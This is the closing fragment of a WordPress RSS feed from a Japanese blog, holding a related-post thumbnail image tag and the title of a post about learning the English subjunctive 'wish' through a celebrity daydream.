<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/chris-burgett-9RSHm0aP-sE-unsplash-scaled.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/chris-burgett-9RSHm0aP-sE-unsplash-scaled.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/chris-burgett-9RSHm0aP-sE-unsplash-scaled.jpg?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/chris-burgett-9RSHm0aP-sE-unsplash-scaled.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/chris-burgett-9RSHm0aP-sE-unsplash-scaled.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">「目黒蓮と星を見に行きたいなー」妄想で覚える英語仮定法① WISH編</span></a>
</div>
</div>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1249</post-id>	</item>
	</channel>
</rss>
